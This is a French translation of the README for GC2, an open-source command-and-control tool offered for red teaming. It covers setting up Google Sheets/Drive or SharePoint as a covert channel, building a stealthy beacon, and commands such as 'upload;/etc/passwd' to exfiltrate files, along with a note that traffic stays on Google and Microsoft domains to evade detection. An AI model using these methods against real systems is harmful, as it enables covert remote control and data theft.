
GC2 est une application de commande et de contrôle qui permet à un attaquant d'exécuter des commandes sur la machine cible en utilisant Google Sheet ou Microsoft SharePoint List et d'exfiltrer des fichiers via Google Drive ou Microsoft SharePoint Document.
GC2 (Google Command and Control) est une application de commande et de contrôle qui permet à un attaquant d'exécuter des commandes sur la machine cible en utilisant Google Sheet ou Microsoft SharePoint List et d'exfiltrer des fichiers via Google Drive ou Microsoft SharePoint Document.
Ce projet a été développé pour fournir une commande et de contrôle qui ne nécessite aucune configuration particulière (comme un domaine personnalisé, VPS, CDN, ...) lors des activités de Red Teaming.
De plus, le programme n'interagira qu'avec les domaines de Google et Microsoft (comme *.google.com) pour rendre la détection réseau plus difficile.
Une Google Sheet sera automatiquement créée par le C2. Une fois créée, vous pouvez interagir avec le système compromis comme indiqué ci-dessous.
Une Microsoft SharePoint List sera automatiquement créée par le C2. Une fois créée, vous pouvez interagir avec le système compromis comme indiqué ci-dessous.
Une commande spéciale est réservée pour exfiltrer des fichiers du système cible.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Note : les fichiers portant le même nom sont automatiquement écrasés.
Une commande spéciale est réservée pour télécharger des fichiers sur le système cible.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Note : Les fichiers doivent être enregistrés dans le dossier racine SharePoint, généralement "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
En envoyant la commande exit, le C2 se tuera et se supprimera du système cible.
PS : D'après la documentation de os : Si un lien symbolique a été utilisé pour démarrer le processus, selon le système d'exploitation, le résultat peut être le lien symbolique ou le chemin vers lequel il pointe. Dans ce cas, le lien symbolique est supprimé.
Ce C2 prend en charge à la fois les services Google (Google Sheet + Google Drive) et Microsoft (SharePoint Lists + SharePoint Document). Pour utiliser le C2, vous devez configurer à la fois la configuration locale et cloud.
Créez un nouveau « compte de service » Google
Créez un nouveau « compte de service » Google en utilisant https://console.cloud.google.com/, créez un fichier de clé .json pour le compte de service.
Activez l'API Google Sheet et l'API Google Drive
Activez l'API Google Drive https://developers.google.com/drive/api/v3/enable-drive-api et l'API Google Sheet https://developers.google.com/sheets/api/quickstart/go.
Configurez Google Sheet et Google Drive
Créez une nouvelle Google Sheet et partagez-la (en tant qu'éditeur) avec le compte de service (en utilisant son adresse e-mail).
Créez un nouveau dossier Google Drive et partagez-le (en tant qu'éditeur) avec le compte de service (en utilisant son adresse e-mail).
Pour interagir avec les services Microsoft, vous aurez d'abord besoin d'un abonnement Business (vous pouvez en obtenir un gratuitement pendant les 30 premiers jours).
Créez une application Azure
Créez une nouvelle application Azure comme décrit ici https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Après avoir créé la nouvelle application, activez les API Graph suivantes :
Téléchargez le C2
Le C2 peut être cloné directement depuis GitHub :
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configurez le C2
Pour configurer le C2, vous devez modifier le fichier cmd/options.yml. Le C2 prend en charge à la fois les services Google et Microsoft, il est également possible de les mélanger.
Services Google uniquement
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Votre clé de compte de service Google doit être échappée avant de la coller dans le fichier de configuration. Vous pouvez utiliser la commande suivante pour l'échapper :
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Services Microsoft uniquement
CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
La plupart des erreurs peuvent être détectées en définissant le drapeau verbose sur true. Par défaut, le C2 ne génère aucune sortie ni information d'erreur.
Démo par Grant Collins
Le propriétaire de ce projet n'est pas responsable de toute utilisation illégale de ce programme.
Il s'agit d'un projet open source destiné à être utilisé avec autorisation pour évaluer la posture de sécurité et à des fins de recherche.
L'utilisateur final est seul responsable de ses actions et décisions. L'utilisation de ce projet est à vos propres risques. Le propriétaire de ce projet n'accepte aucune responsabilité pour toute perte ou dommage causé par l'utilisation de ce projet.
Actualités mentionnant des logiciels malveillants utilisant le même concept :
Mélange des services Google et Microsoft
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Construisez l'exécutable
Quelques exemples pour compiler le C2 pour différents OS et architectures.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Exécutez
Après la compilation, exécutez-le.
./gc2-sheet
Le beacon créera automatiquement une nouvelle Google Sheet ou Microsoft SharePoint List en fonction de votre configuration.